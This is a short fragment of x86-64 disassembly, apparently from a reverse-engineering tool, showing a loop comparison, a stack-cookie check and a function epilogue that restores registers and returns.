inc rcx
cmp rdi, rsi
jne 0x1800800c1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18008010b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180072240
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret